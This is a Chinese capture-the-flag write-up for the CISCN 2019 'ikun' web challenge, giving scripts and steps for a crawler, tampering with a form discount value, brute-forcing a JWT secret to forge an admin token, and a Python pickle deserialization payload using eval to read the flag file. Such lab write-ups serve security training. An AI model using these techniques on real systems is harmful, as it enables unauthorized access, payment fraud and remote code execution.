CISCN2019_华北赛区_Day1_Web2]ikun_1通关手册

2023-12-30 02:40

本文主要是介绍CISCN2019_华北赛区_Day1_Web2]ikun_1通关手册,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CISCN2019_华北赛区_Day1_Web2]ikun_1通关手册

  • 爬虫&支付逻辑漏洞 & jwt 密钥爆破& python 反序列化
    • 爬虫根据要求查找 lv6 的商品
    • 支付逻辑漏洞
    • jwt 密钥爆破
    • python 反序列化

爬虫&支付逻辑漏洞 & jwt 密钥爆破& python 反序列化

爬虫根据要求查找 lv6 的商品

这里直接利用 python 写一个脚本爬取

# -*- coding: UTF-8 -*-
# Time : 2022/11/14 10:37
# FILE : rangeLv6.py
# PROJECT : range.py
# Author : kkk
import time
from lxml import etree
import urllib.request# 定义请求
def requestUrl(i):url = "http://30cfb206-9fe2-4b24-912f-a41ef6ca4adb.node4.buuoj.cn:81/shop?page=" + str(i)res = urllib.request.urlopen(url).read().decode('utf-8')return resdef check(content, i):tree = etree.HTML(content)res = tree.xpath("/html/body//img[@class='lv']/@src")for item in res:if ('lv6' in item):print(i)return Truereturn Falseif __name__ == '__main__':print("running......")for i in range(1, 1000):if (i % 10 == 0):# 防止请求太频繁time.sleep(0.5)if(check(requestUrl(i), i)):break

发现 lv6 商品在 181 页:
在这里插入图片描述

支付逻辑漏洞

点击购买再点击结算,回显操作失败,查看账户余额发现是金额不够
查看优惠券附近的表单,发现折扣写在表单中:
在这里插入图片描述

直接修改折扣值,乘以 0.00000 很多个 08

在这里插入图片描述

jwt 密钥爆破

点击结算后虽然成功了,但是需要 admin 才能查看

在这里插入图片描述

看到这个一下就能想到垂直越权,所以直接刷新页面抓包
发现 JWT token

在这里插入图片描述

我们打开jwt 解密网站将其解密

发现用户是我刚刚注册的用户

在这里插入图片描述

我们只要将 username 的值修改为 admin 应该就可以绕过

但是我前两次用的字典都爆破失败了,所以这里写个脚本针对性生成密钥字典用来爆破

# _*_ utf-8 _*_
# Time : 2022/11/14 12:12
# FILE : keyFuzz.py
# PROJECT : range.py
# Author : kkk# 关键词 ikun
# 利用库生成字典
import itertools as itsif __name__ == '__main__':for i in range(1, 7):words = "1ikunIKUN"a = its.product(words, repeat=i)fp = open("pass.txt", "a")for i in a:fp.write("".join(i))fp.write("".join("\n"))fp.close()

生成的字典中包含 1ikunIKUN 字符串从一位到七位的所有组合

成功爆破出 key 为 1Kun

在这里插入图片描述

我们将密钥填入,并且把 username 修改为 admin

在这里插入图片描述

复制得到的 jwt 到数据包中替换原来的 jwt 并且发送

在这里插入图片描述

伪造成 admin 成功进入该页面

在这里插入图片描述

python 反序列化

我们点击 一键成为大会员 页面没有变化,那么我们看该页面源码,发现了网站备份

在这里插入图片描述

在网站源码搜索该页面地址,发现路由指向 adminhandler

在这里插入图片描述

进入该目录,打开 admin 文件,发现接收了一个叫 become 的值

并且进行了反序列化,即可判断此处存在反序列化漏洞
在这里插入图片描述

再次点击 一键成为大会员 并且抓包,发现 become
在这里插入图片描述

通过反序列化的代码:

def post(self, *args, **kwargs):try:become = self.get_argument('become')p = pickle.loads(urllib.unquote(become))return self.render('form.html', res=p, member=1)except:return self.render('form.html', res='This is Black Technology!', member=0)

我们可以构造 payload 读取 flag,先用 pickle 进行序列化,然后再 URL 编码

  • 但是注意一定要用 python2 来序列化,否则没有用,可能是版本不兼容

生成 payload 代码:

# -*- coding: UTF-8 -*-
# Time : 2022/11/14 17:26
# FILE : payload.py
# PROJECT : range.py
# Author : kkkimport pickle
import urllibclass payload(object):def __reduce__(self):return (eval, ("open('/flag.txt', 'r').read()", ))a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)  # 序列化然后再编码

在 kali 中用 python2 运行:

在这里插入图片描述

将 become 替换成 payload

在这里插入图片描述

成功读到 flag
在这里插入图片描述

这篇关于CISCN2019_华北赛区_Day1_Web2]ikun_1通关手册的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/551456

相关文章

linux dlopen手册翻译

名称 dlclose, dlopen, dlmopen 打开和关闭一个共享对象 简介 #include <dlfcn.h>void *dlopen(const char*filename, int flags);int dlclose(void *handle);#define _GNU_SOURCE#include <dlfcn.h>void *dlmoopen(Lmid_t lm

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的H

Git命令文本手册

git init # 初始化本地git仓库(创建新仓库)git config --global user.name "xxx" # 配置用户名git config --global user.email "xxx@xxx.com"

2014年ACM/ICPC亚洲区现场赛广州赛区总结

本来不想提这件事的,后来学姐找我谈心时提到这件事,我突然意识到在这件事情上我错了一次,明明答应的去参加这场比赛,最后临时决定不去......其实中间有很多很多原因 1:我和tyh,sxk临时不去主要是广州太远,我们身上money不够,呵呵。。。别笑我们,你以为我们是高富帅啊,去一趟广州消费要2个月的生活费,奖学金又没发,你让我找我妈要她辛辛苦苦挣来的工资吗?!从哈尔滨到广州单来回的火车票每个人就

SMIDI-SAP接口配置手册

目录 一、 SAPERP相关接口配置(必要条件) 1. SAP ERP 配置 1.1 配置

五一假期出行必备的高科技手册

今天小编看了眼朋友圈,发现无节操的同学真是太多了,你们出去玩就好了,为啥要发图呢……各种晒,简直要虐死上班狗啊。 不过掐指一算,小编期盼已久的五一马上就要来了。抱着拯救同样期待假期出行同胞们的想法,小编给大家准备了一份出行旅游必备的高科技手册,助大家防火防水防(yi)搭(yue)讪( pao),下面将会开启高(zhuang)冷(BI)模式,如有雷同,纯属故意。 攻略篇 攻略在手,说走就走。

合宙Air780E硬件设计手册02

上文文主要介绍了Air780E的硬件设计中的的应用接口部分。 上文链接:Air780E低功耗4G模组硬件设计手册01-CSDN博客 在本文我们会继续介绍Air780E的硬件设计介绍。  二、应用接口 2.10  SIM卡接口 Air780E支持2路SIM卡接口,支持ETSI和IMT-2000卡规范,支持1.8V和3.0VUSIM卡。 以满足双SIM 卡切换的需求。 2.10.1. S

Java Spring Boot 项目中的密码加密与验证开发案例手册

本手册主要针对Java项目中的账号密码加密与验证进行详细的步骤讲解和代码示例。适用于开发登录认证、用户管理等功能的场景。文档包含工具类的创建、数据库配置、服务层和控制器层的集成等常见操作。 1. 常用加密操作 在实现安全的登录功能时,密码加密与验证是不可或缺的一部分。常用的加密流程如下: 1.1 密码加密 在用户注册或修改密码时,应该对密码进行加密。常用的加密方法有: MD5:已不建议使

《论软件设计模式及其应用》通关范文,软考高级系统架构设计师

论文真题 设计模式(Design Pattern)是一套被反复使用的代码设计经验总结,代表了软件开发人员在软件开发过程中面临的一般问题的解决方案和最佳实践。使用设计模式的目的是提高代码的可重用性,让代码更容易被他人理解,并保证代码可靠性。现有的设计模式已经在前人的系统中得以证实并广泛使用,它使代码编写真正实现工程化,将已证实的技术表述成设计模式,也会使新系统开发者更加容易理解其设计思路。根据

大数据面试通关手册|Hbase面试题(二)

⭐⭐欢迎关注博客主页:https://blog.csdn.net/u013411339⭐⭐欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流!⭐⭐本文由【王知无】原创,首发于 CSDN博客!⭐⭐本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 技术背景 起源于谷歌旧三篇论文中bigtable。 设计目的 为了解决大数据环境中海量结构化数据的实时读写问题。为了弥补hadoop生态中没有